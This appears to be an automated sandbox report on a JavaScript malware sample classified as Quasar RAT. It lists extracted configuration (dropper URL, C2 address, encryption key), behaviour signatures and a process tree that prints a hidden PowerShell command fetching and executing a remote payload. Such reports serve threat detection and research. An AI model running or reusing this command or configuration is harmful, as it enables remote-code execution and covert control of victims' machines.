Analysis
- max time kernel
150s - max time network
138s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
13/08/2026, 00:16
General
- Target FACTr.js
- Size 348KB
- Sample260813-akpgysff67
- SHA256 1273747abdba8032d7c6483e7a475fb2a2b4adebdf6906c87b5ad9aef9b18183
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://aircruza.it.com/cjr.jpg
Extracted
-
ps1
-
ps1.dropper
https://aircruza.it.com/cjr.jpg
Extracted
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quasar
-
2.8.0.1
-
Bora
-
191.96.224.177:5552
-
1ZE2SECt9G0IYxD74o
-
encryption_key
N3lCPSrS6BRljoCDClTr
-
install_name
Venom.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Venom Client Startup
Signatures
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Quasar payload 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- .NET Reactor proctector 64 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\FACTr.js1⤵
- Creates a file in the Startup directory
- Modifies registry class
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\meu_script_gerado.bat""1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('https://aircruza.it.com/cjr.jpg')2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\tmpFBFF.tmp.ps1"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\PowerShell_ISE.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\PowerShell_ISE.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3JavaScript
1PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
tmpFBFF.tmp.ps1
meu_script_gerado.bat
memory/4940-2-0x00007FFDCC84F000-0x00007FFDCC850000-memory.dmp
memory/4940-3-0x00007FFDCC6C0000-0x00007FFDCD064000-memory.dmp
memory/4940-6-0x000001FF9D7A0000-0x000001FF9D7C2000-memory.dmp
memory/4940-7-0x00007FFDCC6C0000-0x00007FFDCD064000-memory.dmp
memory/4940-8-0x00007FFDCC6C0000-0x00007FFDCD064000-memory.dmp
memory/4940-9-0x00007FFDCC6C0000-0x00007FFDCD064000-memory.dmp
memory/4940-10-0x00007FFDCC6C0000-0x00007FFDCD064000-memory.dmp
memory/4940-11-0x00007FFDCC6C0000-0x00007FFDCD064000-memory.dmp
memory/4940-12-0x00007FFDCC6C0000-0x00007FFDCD064000-memory.dmp
memory/4940-13-0x00007FFDCC6C0000-0x00007FFDCD064000-memory.dmp
memory/4940-14-0x00007FFDCC6C0000-0x00007FFDCD064000-memory.dmp
memory/4940-15-0x00007FFDCC6C0000-0x00007FFDCD064000-memory.dmp
memory/4940-18-0x00007FFDCC6C0000-0x00007FFDCD064000-memory.dmp
memory/4940-19-0x00007FFDCC6C0000-0x00007FFDCD064000-memory.dmp
memory/5584-258-0x0000000000400000-0x00000000004EC000-memory.dmp
memory/5584-259-0x00000000058F0000-0x0000000005EAA000-memory.dmp
memory/5584-260-0x0000000005330000-0x00000000053C2000-memory.dmp
memory/5584-264-0x0000000006D50000-0x0000000006D5A000-memory.dmp
memory/5584-263-0x0000000006600000-0x000000000663C000-memory.dmp
memory/5584-262-0x00000000058D0000-0x00000000058E2000-memory.dmp
memory/5584-261-0x00000000052A0000-0x0000000005306000-memory.dmp
memory/5960-146-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-118-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-48-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-46-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-44-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-40-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-38-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-36-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-34-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-42-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-30-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-28-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-26-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-70-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-74-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-86-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-108-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-130-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-150-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-148-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-54-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-144-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-142-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-140-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-138-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-136-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-134-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-132-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-128-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-126-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-124-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-122-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-120-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-50-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-116-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-114-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-112-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-110-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-106-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-104-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-102-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-100-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-98-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-96-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-94-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-92-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-90-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-88-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-84-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-82-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-80-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-78-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-76-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-72-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-68-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-66-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-64-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-62-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-52-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-32-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-25-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-24-0x000002B9469C0000-0x000002B9469FE000-memory.dmp
memory/5960-60-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-58-0x000002B9469C0000-0x000002B9469F7000-memory.dmp
memory/5960-56-0x000002B9469C0000-0x000002B9469F7000-memory.dmp